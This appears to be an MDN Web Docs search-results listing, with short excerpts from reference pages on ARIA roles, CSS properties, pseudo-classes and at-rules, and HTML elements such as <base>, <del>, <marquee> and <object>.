...:35</time></p> </div> nested comments nested comments are also possible with aria annotations — simply nest the comments inside one another, like so: <div role="comment" id="thread-1" data-author="chris"> <h3>chris said</h3> <p class="comment-text">i really think this moment could use more cowbell.</p> <p><time datetime="2019-03-30t19:29">march 30 2019, 19:29</time></p> <div role="comment" data-author="marcus"> <h3>marcus replied</h3> <p class="comment-text">i don't know about that.
...And 2 more matches
ARIA: Listitem role - Accessibility
it is normally used in conjunction with the list role, which is used to identify a list container.
... <section role="list"> <div role="listitem">list item 1</div> <div role="listitem">list item 2</div> <div role="listitem">list item 3</div> </section> description any content that consists of an outer container with a list of elements inside it can be identified to assistive technologies using the list and listitem containers respectively.
... there are no hard and fast rules about which elements you should use to markup the list and list items, but you should make sure that the list items make sense in the context of a list, e.g.
...And 2 more matches
ARIA: Region role - Accessibility
a region role is a more generic term, and should only be used if the section needing to be identified is not accurately described by one of the other landmark roles, such as banner, main, contentinfo, complementary, or navigation.
... labeling landmarks if there is more than one region landmark role in a document, provide a label for each one.
... this label will allow an assitive technology user to be able to quickly understand the purpose of each landmark.
...And 2 more matches
ARIA: Suggestion role - Accessibility
the suggestion landmark role semantically denotes a single proposed change to an editable document.
... examples when you’ve got a content change that involves an insertion and a deletion, there is no way for a screenreader user to work out if the two are related or not.
... this is the job of role="suggestion", which should be set on an element wrapping both of them like so: <p>freida’s pet is a <span role="suggestion"> <span role="deletion">black cat called luna</span> <span role="insertion">purple tyrannosaurus rex called tiny</span> </span>.
...And 2 more matches
HTML To MSAA - Accessibility
ap html element role name value states relations actions events notes a role_system_ link n/a value of @href attribute state_system_ selectable if @name attribute is presented state_system_ linked if @href attribute is presented or click event listener is registered state_system_ traversed if link is traversed n/a "jump" if @href is valid n/a br role_system_ whitespace '\n' (new line char) state_system_ readonly n/a n/a n/a button role_system_ pushbutton from child nodes n/a state_system_ focusable state_system_ default if @type attribute has value "submit" n/a "press" n/a caption bstr role n/a n/a n/a description_for (0x100f), points to table element div bstr role n/a n/a n/a n/a n/a n/a fieldset role_system_ grouping text equivalent from child legend ...
...by (1003), points to legend element n/a n/a hr role_system_ separator n/a n/a n/a n/a n/a n/a img, input @type=image role_system_ graphic from @alt attribute, empty @alt attribute means name can't be calculated at all n/a state_system_ animated if image has more than one frame n/a "showlongdesc" if @longdesc attribute is presented n/a if @usemap attribute is used then image accessible has children for each map item input @type=button, submit, reset role_system_ pushbutton from @value attribute, @alt attribute, default label, @src attribute, @data attribute n/a state_system_ default if @type attribute has value "submit" n/a "press" n/a input @type=text, textarea role_system_ text n/a value property of input dom element state_system_ readonly if @readonly attribute is used n/a "...
...activate" n/a input @type=password role_system_ text n/a n/a state_system_ readonly if @readonly attribute is used state_system_ protected n/a "activate" n/a input type="checkbox" role_system_ checkbutton n/a n/a state_system_ marqueed used as state checkable state_system_ mixed for html 5 if intermediate property of dom element returns true state_system_ checked if checked property of dom element returns true n/a "check"/"uncheck"/"cycle" depending on state event_object_ statechange when state is changed input type="radio" role_system_ radiobutton n/a n/a state_system_ marqueed used as state checkable state_system_ checked if checked property of dom element returns true n/a "select" event_object_ statechange when state is changed label role_system_ statictext from chil...
...And 2 more matches
-moz-image-rect - CSS: Cascading Style Sheets
syntax -moz-image-rect(<uri>, top, right, bottom, left); values <url> the uri of the image from which to take the sub-image.
... this works very similarly to the -moz-image-region property, which is used with the list-style-image property to use parts of an image as the bullets in lists.
...these four segments are all contained within a larger <div> block whose primary purpose is to receive click events and dispatch them to our javascript code.
...And 2 more matches
-webkit-overflow-scrolling - CSS: Cascading Style Sheets
the -webkit-overflow-scrolling css property controls whether or not touch devices use momentum-based scrolling for a given element.
... syntax values auto use "regular" scrolling, where the content immediately ceases to scroll when you remove your finger from the touchscreen.
... touch use momentum-based scrolling, where the content continues to scroll for a while after finishing the scroll gesture and removing your finger from the touchscreen.
...And 2 more matches
::after (:after) - CSS: Cascading Style Sheets
WebCSS::after
in css, ::after creates a pseudo-element that is the last child of the selected element.
... /* add an arrow after links */ a::after { content: "→"; } note: the pseudo-elements generated by ::before and ::after are contained by the element's formatting box, and thus don't apply to replaced elements such as <img>, or to <br> elements.
... we can also support keyboard users with this technique, by adding a tabindex of 0 to make each span keyboard focusable, and using a css :focus selector.
...And 2 more matches
::backdrop - CSS: Cascading Style Sheets
the ::backdrop css pseudo-element is a box the size of the viewport which is rendered immediately beneath any element being presented in full-screen mode.
... this includes both elements which have been placed in full-screen mode using the fullscreen api and <dialog> elements.
... when multiple elements have been placed into full-screen mode, the backdrop is drawn immediately beneath the frontmost such element, and on top of the older full-screen elements.
...And 2 more matches
::selection - CSS: Cascading Style Sheets
the ::selection css pseudo-element applies styles to the part of a document that has been highlighted by the user (such as clicking and dragging the mouse across text).
...for people experiencing cognitive concerns or who are less technologically literate, unexpected changes to selection styles may hurt their understanding of the functionality.
...to meet current web content accessibility guidelines (wcag), text content must have a contrast ratio of 4.5:1, or 3:1 for larger text such as headings.
...And 2 more matches
:dir() - CSS: Cascading Style Sheets
WebCSS:dir
the :dir() css pseudo-class matches elements based on the directionality of the text contained in them.
...it doesn't account for styling directionality, i.e., the directionality set by css properties such as direction.
...the latter match the html dir attribute, and ignore elements that lack it — even if they inherit a direction from their parent.
...And 2 more matches
:focus-visible - CSS: Cascading Style Sheets
the :focus-visible pseudo-class applies while an element matches the :focus pseudo-class and the ua (user agent) determines via heuristics that the focus should be made evident on the element.
... syntax :focus-visible examples basic example in this example, the :focus-visible selector uses the ua's behavior to determine when to match.
... class="focus-only">:focus only</button><br> <input class="focus-visible-only" value=":focus-visible only"><br> <button class="focus-visible-only">:focus-visible only</button> input, button { margin: 10px; } .focus-only:focus { outline: 2px solid black; } .focus-visible-only:focus-visible { outline: 4px dashed darkorange; } selectively showing the focus indicator a custom control, such as a custom element button, can use :focus-visible to selectively apply a focus indicator only on keyboard-focus.
...And 2 more matches
:host - CSS: Cascading Style Sheets
WebCSS:host
host selectors <a href="#"><context-span>example</context-span></a></h1> inside the element's constructor, we create style and span elements, fill the span with the content of the custom element, and fill the style element with some css rules: let style = document.createelement('style'); let span = document.createelement('span'); span.textcontent = this.textcontent; const shadowroot = this.attachshadow({mode: 'open'}); shadowroot.appendchild(style); shadowroot.appendchild(span); style.textcontent = 'span:hover { text-decoration: underline; }' + ':host-context(h1) { font-style: italic; }' + ':host-context(h1):after { content: " - no links in headers!" }' + ':host-context(article, aside) { color: gray; }' + ':h...
...if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
... desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internet:hostchrome full support 54edge full support 79firefox full support 63 full support 63 no support 61 — 63disabled disabled from version 61 until version 63 (exclusive): this feature is behind the dom.webcomponents.shadowdom.enabled preference (needs to be set to true).
...And 2 more matches
:indeterminate - CSS: Cascading Style Sheets
the :indeterminate css pseudo-class represents any form element whose state is indeterminate, such as checkboxes which have their html indeterminate attribute set to true, radio buttons which are members of a group in which all radio buttons are unchecked, and indeterminate <progress> elements.
... /* selects any <input> whose state is indeterminate */ input:indeterminate { background: lime; } elements targeted by this selector are: <input type="checkbox"> elements whose indeterminate property is set to true by javascript <input type="radio"> elements, when all radio buttons with the same name value in the form are unchecked <progress> elements in an indeterminate state syntax :indeterminate examples checkbox & radio button this example applies special styles to the labels associated with indeterminate form fields.
... html <div> <input type="checkbox" id="checkbox"> <label for="checkbox">this label starts out lime.</label> </div> <div> <input type="radio" id="radio"> <label for="radio">this label starts out lime.</label> </div> css input:indeterminate + label { background: lime; } javascript var inputs = document.getelementsbytagname("input"); for (var i = 0; i < inputs.length; i++) { inputs[i].indeterminate = true; } progress bar html <progress> css progress { margin: 4px; } progress:indeterminate { opacity: 0.5; background-color: lightgray; box-shadow: 0 0 2px 1px red; } result specifications specification status comment html living standardthe definition of ':indeterminate' in that specification.
...And 2 more matches
:link - CSS: Cascading Style Sheets
WebCSS:link
it matches every unvisited <a>, <area>, or <link> element that has an href attribute.
... working draft no change.
... recommendation no change.
...And 2 more matches
:target - CSS: Cascading Style Sheets
WebCSS:target
the :target css pseudo-class represents a unique element (the target element) with an id matching the url's fragment.
... /* selects an element with an id matching the current url's fragment */ :target { border: 2px solid black; } for example, the following url has a fragment (denoted by the # sign) that points to an element called section2: http://www.example.com/index.html#section2 the following element would be selected by a :target selector when the current url is equal to the above: <section id="section2">example</section> syntax :target examples a table of contents the :target pseudo-class can be used to highlight the portion of a page that has been linked to from a table of contents.
...this technique relies on the ability of anchor links to point to elements that are initially hidden on the page.
...And 2 more matches
font-weight - CSS: Cascading Style Sheets
the font-weight property can separately be used to set how thick or thin characters in text should be displayed.
... for a particular font family, authors can download various font faces which correspond to the different styles of the same font family, and then use the font-weight descriptor to explicitly specify the font face's weights.
... css fonts level 4 extends the syntax to accept any number between 1 and 1000, inclusive, and introduces variable fonts, which can make use of this much finer-grained range of font weights.
...And 2 more matches
@keyframes - CSS: Cascading Style Sheets
this must match the identifier production in css syntax.
... <percentage> a percentage of the time through the animation sequence at which the specified keyframe should occur.
... to use keyframes, create a @keyframes rule with a name that is then used by the animation-name property to match an animation to its keyframe declaration.
...And 2 more matches
@namespace - CSS: Cascading Style Sheets
the @namespace rule is generally only useful when dealing with documents containing multiple namespaces—such as html5 with inline svg or mathml, or xml that mixes multiple vocabularies.
... any @namespace rules must follow all @charset and @import rules, and precede all other at-rules and style declarations in a style sheet.
...when a universal, type, or attribute selector is prefixed with a namespace prefix, then that selector only matches if the namespace and name of the element or attribute matches.
...And 2 more matches
@page - CSS: Cascading Style Sheets
WebCSS@page
bleed specifies the extent beyond the page box at which the page rendering is clipped.
... description you can't change all css properties with @page.
... you can only change the margins, orphans, widows, and page breaks of the document.
...And 2 more matches
@viewport - CSS: Cascading Style Sheets
WebCSS@viewport
the @viewport css at-rule lets you configure the viewport through which the document is viewed.
... it's primarily used for mobile devices, but is also used by desktop browsers that support features like "snap to edge" (such as microsoft edge).
... lengths specified as percentages are calculated relative to the initial viewport, which is the viewport before any user agent or authored styles have had an opportunity to adjust the viewport.
...And 2 more matches
Alternative style sheets - CSS: Cascading Style Sheets
chrome requires an extension to use the feature (as of version 48).
... the web page can also provide its own user interface to let the user switch styles.
... when style sheets are referenced with a title attribute on the <link rel="stylesheeet"> or <style> element, the title becomes one of the choices offered to the user.
...And 2 more matches
Using multi-column layouts - CSS: Cascading Style Sheets
people have trouble reading text if lines are too long; if it takes too long for the eyes to move from the end of the one line to the beginning of the next, they lose track of which line they were on.
...excepteur sint occaecat cupidatat non proident, sunt in culpa qui officia deserunt mollit anim id est laborum </div> css #columns_12 { columns: 12 8em; } result height balancing the css3 column specification requires that the column heights must be balanced: that is, the browser automatically sets the maximum column height so that the heights of the content in each column are approximately equal.
...therefore, if the height is constrained, by setting the css height or max-height properties on a multi-column block, each column is allowed to grow to that height and no further before adding new column.
...And 2 more matches
In Flow and Out of Flow - CSS: Cascading Style Sheets
in the following example i have a heading, paragraph, a list and a final paragraph which contains a strong element.
... taking an item out of flow all elements are in-flow apart from: floated items items with position: absolute (including position: fixed which acts in the same way) the root element (html) out of flow items create a new block formatting context (bfc) and therefore everything inside them can be seen as a mini layout, separate from the rest of the page.
...you cannot apply anything to the following in-flow content to achieve that.
...And 2 more matches
CSS Fonts - CSS: Cascading Style Sheets
WebCSSCSS Fonts
it lets you define the style of a font, such as its family, size and weight, line height, and the glyph variants to use when multiple are available for a single character.
... p { width: 600px; margin: 0 auto; font-family: "helvetica neue", "arial", sans-serif; font-style: italic; font-weight: 100; font-variant-ligatures: normal; font-size: 2rem; letter-spacing: 1px; } <p>three hundred years ago<br> i thought i might get some sleep<br> i stretched myself out onna antique bed<br> an' my spirit did a midnite creep</p> the result is as follows: variable fonts examples you can find a number of variable fonts examples at v-fonts.com and axis-praxis.org; see also our variable fonts guide for more information and usage information.
... reference properties font font-family font-feature-settings font-kerning font-language-override font-optical-sizing font-size font-size-adjust font-stretch font-style font-synthesis font-variant font-variant-alternates font-variant-caps font-variant-east-asian font-variant-ligatures font-variant-numeric font-variant-position font-variation-settings font-weight line-height at-rules @font-face font-family font-feature-settings font-style font-variant font-weight font-stretch src unicode-range @font-feature-values guides fundamental text and font styling in this beginner's learning article we go through all the basic fundamentals of text/font styling in detail, including setting font weight, family and style, font shorthand, te...
...And 2 more matches
Using CSS counters - CSS: Cascading Style Sheets
the same property can also be used to change its value to any specific number.
... basic example this example adds "section [the value of the counter]:" to the beginning of each heading.
...*/ } h3::before { counter-increment: section; /* increment the value of section counter by 1 */ content: "section " counter(section) ": "; /* display the word 'section ', the value of section counter, and a colon before the content of each h3 */ } html <h3>introduction</h3> <h3>body</h3> <h3>conclusion</h3> result nesting counters a css counter can be especially useful for making outlined lists, because a new instance of the counter is automatically created in child elements.
...And 2 more matches
Stacking context example 3 - CSS: Cascading Style Sheets
« css « understanding css z-index stacking context example 3 this last example shows problems that arise when mixing several positioned elements in a multi-level html hierarchy and when z-indexes are assigned using class selectors.
... let's take as an example a three-level hierarchical menu made from several positioned divs.
...the problem is that for each second-level menu, a stacking context is created and each third-level menu belongs to the context of its parent.
...And 2 more matches
Understanding CSS z-index - CSS: Cascading Style Sheets
in css 2.1, each box has a position in three dimensions.
...the z position of each layer is expressed as an integer representing the stacking order for rendering.
...however, when z-index is applied to complex hierarchies of html elements, its behaviour can be hard to understand or predict.
...And 2 more matches
Breadcrumb Navigation - CSS: Cascading Style Sheets
requirements the items typically display inline with a separator to indicate a hierarchy between individual pages.
...this could also be achieved using one selector only: .breadcrumb li:not(:first-child)::before { content: "→"; } this solution uses a more complex selector, but requires less rules.
... feel free to choose the solution that you prefer.
...And 2 more matches
Sticky footers - CSS: Cascading Style Sheets
we'll look at a couple of techniques for creating one in this recipe.
...you could also achieve this for a full page by setting a min-height of 100vh on the <body> and then using it as your grid container.
... choices made in the above example we achieve the sticky footer using css grid layout.
...And 2 more matches
all - CSS: Cascading Style Sheets
WebCSSall
values initial specifies that all the element's properties should be changed to their initial values.
... inherit specifies that all the element's properties should be changed to their inherited values.
... unset specifies that all the element's properties should be changed to their inherited values if they inherit by default, or to their initial values if not.
...And 2 more matches
border-left-style - CSS: Cascading Style Sheets
ft-style: hidden; border-left-style: dotted; border-left-style: dashed; border-left-style: solid; border-left-style: double; border-left-style: groove; border-left-style: ridge; border-left-style: inset; border-left-style: outset; /* global values */ border-left-style: inherit; border-left-style: initial; border-left-style: unset; the border-left-style property is specified as a single keyword chosen from those available for the border-style property.
... candidate recommendation no significant change.
...if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
...And 2 more matches
border-right-style - CSS: Cascading Style Sheets
dden; border-right-style: dotted; border-right-style: dashed; border-right-style: solid; border-right-style: double; border-right-style: groove; border-right-style: ridge; border-right-style: inset; border-right-style: outset; /* global values */ border-right-style: inherit; border-right-style: initial; border-right-style: unset; the border-right-style property is specified as a single keyword chosen from those available for the border-style property.
... candidate recommendation no significant change.
...if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
...And 2 more matches
box-direction - CSS: Cascading Style Sheets
if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
... desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetbox-direction deprecatednon-standardchrome full support 1prefixed full support 1prefixed prefixed implemented with the vendor prefix: -webkit-edge full support 12prefixed full support 12prefixed prefixed implemented with the vendor prefix: -webkit-firefox full support 1prefixed full support 1prefixed prefixed implemented with the vendor prefix: -moz- fu...
...to change preferences in firefox, visit about:config.ie no support noopera full support 15prefixed full support 15prefixed prefixed implemented with the vendor prefix: -webkit-safari full support 3prefixed full support 3p...
...And 2 more matches
caret-color - CSS: Cascading Style Sheets
the caret-color css property sets the color of the insertion caret, the visible marker where the next character typed will be inserted.
...the caret appears in elements such as <input> or those with the contenteditable attribute.
...for example, many browsers have a “navigation caret,” which acts similarly to an insertion caret but can be moved around in non-editable text.
...And 2 more matches
clear - CSS: Cascading Style Sheets
WebCSSclear
if you want it to always be able to resize, so that it contains floating elements inside it, you need to self-clear its children.
... recommendation no significant changes, though details are clarified.
...if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
...And 2 more matches
color-adjust - CSS: Cascading Style Sheets
exact the element's content has been specifically and carefully crafted to use colors, images, and styles in a thoughtful and/or important way, such that being altered by the browser might actually make things worse rather than better.
... the appearance of the content should not be changed except by the user's request.
... usage notes there are a number of reasons a browser might wish to deviate from the specified appearance, such as: the content uses text and background colors that will be too similar on the output device for legibility purposes.
...And 2 more matches
grid-auto-flow - CSS: Cascading Style Sheets
values row items are placed by filling each row in turn, adding new rows as necessary.
... column items are placed by filling each column in turn, adding new columns as necessary.
... formal definition initial valuerowapplies togrid containersinheritednocomputed valueas specifiedanimation typediscrete formal syntax [ row | column ] | dense examples setting grid auto-placement html <div id="grid"> <div id="item1"></div> <div id="item2"></div> <div id="item3"></div> <div id="item4"></div> <div id="item5"></div> </div> <select id="direction" onchange="changegridautoflow()"> <option value="column">column</option> <option value="row">row</option> </select> <input id="dense" type="checkbox" onchange="changegridautoflow()"> <label for="dense">dense</label> css #grid { height: 200px; width: 200px; display: grid; grid-gap: 10px; grid-template: repeat(4, 1fr) / repeat(2, 1fr); grid-auto-flow: column; /* or 'row', 'row dense',...
...And 2 more matches
grid-row - CSS: Cascading Style Sheets
WebCSSgrid-row
<custom-ident> if there is a named line with the name '<custom-ident>-start'/'<custom-ident>-end', it contributes the first such line to the grid item’s placement.
... note: named grid areas automatically generate implicit named lines of this form, so specifying grid-row: foo; will choose the start/end edge of that named grid area (unless another line named foo-start/foo-end was explicitly specified before it).
... span && [ <integer> || <custom-ident> ] contributes a grid span to the grid item’s placement such that the corresponding edge of the grid item’s grid area is n lines from the opposite edge.
...And 2 more matches
ident - CSS: Cascading Style Sheets
WebCSSident
syntax the syntax of <custom-ident> is similar to css identifiers (such as property names), except that it is case-sensitive.
... it consists of one or more characters, where characters can be any of the following: any alphabetical character (a to z, or a to z), any decimal digit (0 to 9), a hyphen (-), an underscore (_), an escaped character (preceded by a backslash, \), a unicode character (in the format of a backslash, \, followed by one to six hexadecimal digits, representing its unicode code point) note that id1, id1, id1 and id1 are all different identifiers as they are case-sensitive.
... on the other hand, as there are several ways to escape a character, toto\?
...And 2 more matches
margin - CSS: Cascading Style Sheets
WebCSSmargin
the top and bottom margins have no effect on non-replaced inline elements, such as <span> or <code>.
...each value is a <length>, a <percentage>, or the keyword auto.
... working draft no significant change.
...And 2 more matches
mask-mode - CSS: Cascading Style Sheets
WebCSSmask-mode
/* keyword values */ mask-mode: alpha; mask-mode: luminance; mask-mode: match-source; /* multiple values */ mask-mode: alpha, match-source; /* global values */ mask-mode: inherit; mask-mode: initial; mask-mode: unset; syntax the mask-mode property is specified as one or more of the keyword values listed below, separated by commas.
... values alpha this keyword indicates that the transparency (alpha channel) values of the mask layer image should be used as the mask values.
... match-source if the mask-image property is of type <mask-source>, the luminance values of the mask layer image should be used as the mask values.
...And 2 more matches
order - CSS: Cascading Style Sheets
WebCSSorder
order must not be used on non-visual media such as speech.
...this will adversely affect users experiencing low vision navigating with the aid of assistive technology such as a screen reader.
... flexbox & the keyboard navigation disconnect — tink source order matters | adrian roselli mdn understanding wcag, guideline 1.3 explanations understanding success criterion 1.3.2 | w3c understanding wcag 2.0 formal definition initial value0applies toflex items and absolutely-positioned flex container childreninheritednocomputed valueas specifiedanimation typean integer formal syntax <integer> examples ordering items in a flex container this example uses css to create a classic two-sidebar layout surrounding a content block.
...And 2 more matches
overscroll-behavior-x - CSS: Cascading Style Sheets
the overscroll-behavior-x css property sets the browser's behavior when the horizontal boundary of a scrolling area is reached.
... /* keyword values */ overscroll-behavior-x: auto; /* default */ overscroll-behavior-x: contain; overscroll-behavior-x: none; /* global values */ overscroll-behavior-x: inherit; overscroll-behavior-x: initial; overscroll-behavior-x: unset; syntax the overscroll-behavior-x property is specified as a keyword chosen from the list of values below.
..."bounce" effects or refreshes), but no scroll chaining occurs to neighbouring scrolling areas, e.g.
...And 2 more matches
padding - CSS: Cascading Style Sheets
WebCSSpadding
each value is a <length> or a <percentage>.
... formal definition initial valueas each of the properties of the shorthand:padding-bottom: 0padding-left: 0padding-right: 0padding-top: 0applies toall elements, except table-row-group, table-header-group, table-footer-group, table-row, table-column-group and table-column.
... it also applies to ::first-letter and ::first-line.inheritednopercentagesrefer to the width of the containing blockcomputed valueas each of the properties of the shorthand:padding-bottom: the percentage as specified or the absolute lengthpadding-left: the percentage as specified or the absolute lengthpadding-right: the percentage as specified or the absolute lengthpadding-top: the percentage as specified or the absolute lengthanimation typea length formal syntax [ <length> | <percentage> ]{1,4} examples setting padding with pixels html <h4>this element has moderate padding.</h4> <h3>the padding is huge in this element!</h3> css h4 { background-color: lime; padding: 20px 50px; } h3 { background-color: cyan; padding: 110px 50px 50px 110px; } result setting padding with ...
...And 2 more matches
repeating-radial-gradient() - CSS: Cascading Style Sheets
the function's result is an object of the <gradient> data type, which is a special kind of <image>.
... with each repetition, the positions of the color stops are shifted by a multiple of the dimensions of the basic radial gradient (the distance between the last color stop and the first).
... thus, the position of each ending color stop coincides with a starting color stop; if the color values are different, this will result in a sharp visual transition, which can be mitigated by repeating the first color as the last color.
...And 2 more matches
text-decoration-color - CSS: Cascading Style Sheets
the color applies to decorations, such as underlines, overlines, strikethroughs, and wavy lines like those used to mark misspellings, in the scope of the property's value.
... css does not provide a direct mechanism for specifying a unique color for each line type.
... this effect can nevertheless be achieved by nesting elements, applying a different line type to each element (with the text-decoration-line property), and specifying the line color (with text-decoration-color) on a per-element basis.
...And 2 more matches
text-decoration-thickness - CSS: Cascading Style Sheets
the text-decoration-thickness css property sets the stroke thickness of the decoration line that is used on text in an element, such as a line-through, underline, or overline.
... syntax /* single keyword */ text-decoration-thickness: auto; text-decoration-thickness: from-font; /* length */ text-decoration-thickness: 0.1em; text-decoration-thickness: 3px; /* percentage */ text-decoration-thickness: 10%; /* global values */ text-decoration-thickness: inherit; text-decoration-thickness: initial; text-decoration-thickness: unset; values auto the browser chooses an appropriate width for the text decoration line.
...if the font file doesn't include this information, behave as if auto was set, with the browser choosing an appropriate thickness.
...And 2 more matches
text-indent - CSS: Cascading Style Sheets
syntax /* <length> values */ text-indent: 3mm; text-indent: 40px; /* <percentage> value relative to the containing block width */ text-indent: 15%; /* keyword values */ text-indent: 5em each-line; text-indent: 5em hanging; text-indent: 5em hanging each-line; /* global values */ text-indent: inherit; text-indent: initial; text-indent: unset; values <length> indentation is specified as an absolute <length>.
... each-line indentation affects the first line of the block container as well as each line after a forced line break, but does not affect lines after a soft wrap break.
... hanging inverts which lines are indented.
...And 2 more matches
text-underline-position - CSS: Cascading Style Sheets
the text-underline-position css property specifies the position of the underline which is set using the text-decoration property's underline value.
...if the font file doesn't include this information, behave as if auto was set, with the browser choosing an appropriate position.
...this is useful for ensuring legibility with chemical and mathematical formulas, which make a large use of subscripts.
...And 2 more matches
transition-delay - CSS: Cascading Style Sheets
the transition-delay css property specifies the duration to wait before starting a property's transition effect when its value changes.
... you may specify multiple delays, which is useful when transitioning multiple properties.
... each delay will be applied to the corresponding property as specified by the transition-property property, which acts as a master list.
...And 2 more matches
visibility - CSS: Cascading Style Sheets
the visibility css property shows or hides an element without changing the layout of a document.
...the element cannot receive focus (such as when navigating through tab indexes).
...this will cause the element and all its descendant elements to no longer be announced by screen reading technology.
...And 2 more matches
word-spacing - CSS: Cascading Style Sheets
<percentage> specifies extra spacing as a percentage of the affected character’s advance width.
...for text styled with a large negative value, the words will overlap each other to the point where the the beginning and end of each word is unrecognizable.
... legible word-spacing must be determined on a case-by-case basis, as different font families have different character widths.
...And 2 more matches
regexp:test() - EXSLT
WebEXSLTregexptest
xslt/xpath reference: xslt elements, exslt functions, xpath functions, xpath axes regexp:test() tests to see whether a string matches a specified regular expression.
... flagsstringoptional an optional string containing character flags.
... the character flags are: g global match has no effect for this function; it's allowed for consistency with other regexp functions.
...And 2 more matches
Parsing and serializing XML - Developer guides
xpath a technology for creating strings that contain addresses for specific portions of an xml document, and locating xml nodes based on those addresses.
... creating an xml document using one of the following approaches to create an xml document (which is an instance of document.
... use the following approaches to serialize the contents of the xml document you created in the previous section.
...And 2 more matches
DASH Adaptive Streaming for HTML 5 Video - HTML: Hypertext Markup Language
this means that it allows for a video stream to switch between bit rates on the basis of network performance, in order to keep a video playing.
... browser support firefox 21 includes an implementation of dash for html5 webm video which is turned off by default.
... it will be replaced by an implementation of the media source extensions api which will allow support for dash via javascript libraries such as dash.js.
...And 2 more matches
<acronym> - HTML: Hypertext Markup Language
WebHTMLElementacronym
summary the html acronym element (<acronym>) allows authors to clearly indicate a sequence of characters that compose an acronym or abbreviation for a word.
... attributes this element only has global attributes, which are common to all elements.
... opera, firefox, chrome, and some others add a dotted underline to the content of the element.
...And 2 more matches
<b>: The Bring Attention To element - HTML: Hypertext Markup Language
WebHTMLElementb
the html bring attention to element (<b>) is used to draw the reader's attention to the element's contents, which are not otherwise granted special importance.
...the <b> element doesn't convey such special semantic information; use it only when no others fit.
...further, stylesheets can change the default style of these elements, with the result that they are not necessarily displayed in bold.
...And 2 more matches
<base>: The Document Base URL element - HTML: Hypertext Markup Language
WebHTMLElementbase
if either of the following attributes are specified, this element must come before other elements with attribute values of urls, such as <link>’s href attribute.
... in-page anchors links pointing to a fragment in the document — e.g.
... <a href="#some-id"> — are resolved with the <base>, triggering an http request to the base url with the fragment attached.
...And 2 more matches
<body>: The Document Body element - HTML: Hypertext Markup Language
WebHTMLElementbody
tag omission the start tag may be omitted if the first thing inside it is not a space character, comment, <script> element or <style> element.
... onhashchange function to call when the fragment identifier part (starting with the hash ('#') character) of the document's current address has changed.
... onlanguagechange function to call when the preferred languages changed.
...And 2 more matches
<data> - HTML: Hypertext Markup Language
WebHTMLElementdata
the html <data> element links a given piece of content with a machine-readable translation.
... value this attribute specifies the machine-readable translation of the content of the element.
... examples the following example displays product names but also associates each name with a product number.
...And 2 more matches
<del>: The Deleted Text element - HTML: Hypertext Markup Language
WebHTMLElementdel
this can be used when rendering "track changes" or source code diff information, for example.
... cite a uri for a resource that explains the change (for example, meeting minutes).
... datetime this attribute indicates the time and date of the change and must be a valid date string with an optional time.
...And 2 more matches
<dfn>: The Definition element - HTML: Hypertext Markup Language
WebHTMLElementdfn
the <p> element, the <dt>/<dd> pairing, or the <section> element which is the nearest ancestor of the <dfn> is considered to be the definition of the term.
... if the <dfn> contains a single child element and does not have any text content of its own, and the child element is an <abbr> element with a title attribute itself, then the exact value of the <abbr> element's title is the term being defined.
...such links should be uses of the term, with the intent being that the reader can quickly navigate to the term's definition if they're not already aware of it, by clicking on the term's link.
...And 2 more matches
<head>: The Document Metadata (Header) element - HTML: Hypertext Markup Language
WebHTMLElementhead
the html <head> element contains machine-readable information (metadata) about the document, like its title, scripts, and style sheets.
... note: <head> primarily holds information for machine processing, not human-readability.
... the end tag may be omitted if the first thing following the <head> element is not a space character or a comment.
...And 2 more matches
<hgroup> - HTML: Hypertext Markup Language
WebHTMLElementhgroup
the <hgroup> element allows the primary heading for a document section to be grouped with any secondary headings—such as subheadings or alternative titles—to form a multi-level heading.
... in other words, the <hgroup> element prevents any of its secondary <h1>–<h6> children from creating separate sections of their own in the outline—as those <h1>–<h6> elements otherwise normally would if they were not children of any <hgroup>.
... so in the abstract outline produced by the html outline algorithm defined in the html specification, the <hgroup> as a whole forms a single logical heading, with the entire set of <h1>–<h6> children of the <hgroup> going into the outline as one multi-level unit, to comprise that single logical heading in the abstract outline.
...And 2 more matches
<html>: The HTML Document / Root element - HTML: Hypertext Markup Language
WebHTMLElementhtml
manifest specifies the uri of a resource manifest indicating resources that should be cached locally.
... see using the application cache for details.
... example <!doctype html> <html lang="en"> <head>...</head> <body>...</body> </html> accessibility concerns providing a lang attribute with a valid ietf identifying language tag on the <html> element will help screen reading technology determine the proper language to announce.
...And 2 more matches
<i>: The Idiomatic Text element - HTML: Hypertext Markup Language
WebHTMLElementi
the html idiomatic text element (<i>) represents a range of text that is set off from the normal text for some reason, such as idiomatic text, technical terms, taxonomical designations, among others.
... historically, these have been presented using italicized type, which is the original source of the <i> naming of this element.
...among the use cases for the <i> element are spans of text representing a different quality or mode of text, such as: alternative voice or mood taxonomic designations (such as the genus and species "homo sapiens") idiomatic terms from another language (such as "et cetera"); these should include the lang attribute to identify the language technical terms transliterations thoughts (such as "she wondered,what is this writer talking about, anyway?") ship or vessel names in western writin...
...And 2 more matches
<listing> - HTML: Hypertext Markup Language
WebHTMLElementlisting
the html 2 standard recommended that lines shouldn't be broken when not greater than 132 characters.
...even more it is obsoleted in html5 and may be rendered by conforming user-agents as the <pre> element, which will interpret the internal html!
...if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
...And 2 more matches
<marquee>: The Marquee element (Obsolete) - HTML: Hypertext Markup Language
WebHTMLElementmarquee
you can control what happens when the text reaches the edges of its content area using its attributes.
...if no value is specified, the default value is −1, which means the marquee will scroll continuously.
... scrollamount sets the amount of scrolling at each interval in pixels.
...And 2 more matches
<object> - HTML: Hypertext Markup Language
WebHTMLElementobject
the html <object> element represents an external resource, which can be treated as an image, a nested browsing context, or a resource to be handled by a plugin.
... archivehtml 4 onlyobsolete since html5 a space-separated list of uris for archives of resources for the object.
... codebasehtml 4 onlyobsolete since html5 the base path used to resolve relative uris specified by classid, data, or archive.
...And 2 more matches
<ol>: The Ordered List element - HTML: Hypertext Markup Language
WebHTMLElementol
content categories flow content, and if the <ol> element's children include at least one <li> element, palpable content.
